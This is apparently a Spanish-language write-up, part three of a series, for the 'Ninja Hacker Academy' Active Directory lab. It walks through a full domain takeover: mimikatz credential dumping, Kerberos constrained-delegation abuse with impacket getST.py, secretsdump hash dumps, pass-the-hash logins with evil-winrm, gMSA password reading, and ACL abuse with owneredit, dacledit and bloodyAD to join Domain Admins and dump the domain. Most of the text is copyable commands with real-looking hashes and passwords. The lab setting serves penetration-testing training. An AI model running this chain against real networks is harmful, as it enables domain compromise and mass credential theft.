Ninja Hacker Academy Parte 3

Logo NHA

Introducción

En esta tercera parte, ejecutaremos mimikatz en la máquina WEB, donde encontraremos las credenciales del usuario Frank, y descubriremos que tiene ciertos privilegios que permiten impersonar al Administrator de la máquina SHARE. Después utilizaremos la cuenta GMSANFS$ para acceder a la cuenta backup, que posee permisos que nos permitirán añadirnos al grupo de Domain Admins.

En el artículo anterior conseguimos un beacon de Mythic del usuario Administrator de la máquina WEB. Teniendo esta cuenta de usuario, es posible ejecutar mimikatz para ver si podemos obtener nuevas credenciales. Lo hacemos ejecutando el siguiente comando en la interfaz de Mythic:

mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords"

Y de esta forma obtenemos el hash NTLM de la cuenta del usuario Frank.

A continuación con bloodhound se puede observar que la cuenta del usuario Frank tiene privilegios de Constrained Delegation sobre la máquina SHARE.

Es posible, tal como nos dice bloodhound, utilizar GetST.py de impacket, para impersonar al administrator de la máquina SHARE, pero nos encontramos con un error:

getST.py -spn 'cifs/share.academy.ninja.lan' -impersonate Administrator -dc-ip 'dc-ac.academy.ninja.lan' "academy.ninja.lan"/"frank" -hashes :d4fad93561dee253398d5891e991a6fb
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user frank or initial TGT not forwardable

El error nos dice que el SPN no está permitido para la delegación. Con lo cual ejecutamos findDelegation.py para ver exactamente cual es el SPN permitido.

findDelegation.py academy.ninja.lan/frank -hashes d4fad93561dee253398d5891e991a6fb:d4fad93561dee253398d5891e991a6fb -dc-ip 192.168.56.20
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

AccountName  AccountType  DelegationType                      DelegationRightsTo                SPN Exists
-----------  -----------  ----------------------------------  --------------------------------  ----------
DC-AC$       Computer     Unconstrained                       N/A                               Yes
ximo$        Computer     Resource-Based Constrained          WEB$                              No
frank        Person       Constrained w/ Protocol Transition  eventlog/share                    No
frank        Person       Constrained w/ Protocol Transition  eventlog/share.academy.ninja.lan  Yes

Y se puede ver que el SPN correcto es eventlog/share, de manera que podemos ejecutar GetST.py de la siguiente forma:

getST.py -spn 'eventlog/share' -altservice 'cifs/share' -impersonate Administrator -dc-ip 'academy.ninja.lan' "academy.ninja.lan"/"frank" -hashes d4fad93561dee253398d5891e991a6fb:d4fad93561dee253398d5891e991a6fb

Exportamos la variable correspondiente para utilizar el ticket de kerberos y hacemos un volcado de los hashes.

export KRB5CCNAME=Administrator@cifs_share@ACADEMY.NINJA.LAN.ccache
secretsdump.py -k -no-pass share

Y ya podemos conectarnos con evil-winrm utilizando el hash del administrator, subir el loader y obtener un nuevo beacon de Mythic.

evil-winrm -i share -u administrator -H 7849822ea2995bac91cc0a20c6af1fbe

Y podemos leer la flag de la máquina en el escritorio del administrador.

A continuación, vemos en bloodhound una ruta desde el usuario Frank, hasta el grupo Domain Admins.

Para obtener la contraseña de la cuenta GMSANFS$ se puede utilizar la herramienta GMSAPasswordReader.exe tal como se puede ver a continuación. Se clona el repositorio de la herramienta, se compila, y se sube a la máquina con evil-winrm o con el beacon de mythic. Y luego se obtiene una shell con smbexec para ejecutarla.

Ahora con el hash de la cuenta gmsaNFS$ podemos cambiar la contraseña de la cuenta backup.

python3 ~/tools/ActiveDirectory/bloodyAD/bloodyAD.py --host 192.168.56.20 -d academy.ninja.lan -u 'gmsaNFS$' -p :2DE4BDDF1E9EC91A7B6420ABB0C3391E -f rc4 set password backup 'P@ssw0rd123'

Seguídamente se puede ver en bloodhound que la cuenta backup tiene privilegios de writeowner sobre el grupo domain admins.

A continuación es posible añadirnos como propietarios del grupo Domain Admins.

owneredit.py -action write -new-owner 'backup' -target 'Domain Admins' academy.ninja.lan/backup:'P@ssw0rd123'

Siendo el propietario, podemos asignarnos FullControl.

dacledit.py -action 'write' -rights 'FullControl' -principal backup  -target 'Domain Admins' 'academy.ninja.lan'/'backup':'P@ssw0rd123'

Y añadirnos a nosotros mismos al grupo Domain Admins.

python3 ~/tools/ActiveDirectory/bloodyAD/bloodyAD.py --host 192.168.56.20 -d academy.ninja.lan -u 'backup' -p 'P@ssw0rd123' add groupMember 'Domain Admins' 'backup'

Y por último con secretsdump hacemos un volcado del dominio.

secretsdump.py 'academy.ninja.lan'/'backup':'P@ssw0rd123'@192.168.56.20 -dc-ip 192.168.56.20 -outputfile domain

Nos conectamos con evil-winrm utilizando el hash del administrator, subimos nuestro loader y obtenemos el beacon del DC, y la flag.

evil-winrm -i dc-ac.academy.ninja.lan -u administrator -H 8fd12ffe951b45af5bea2bd921accba4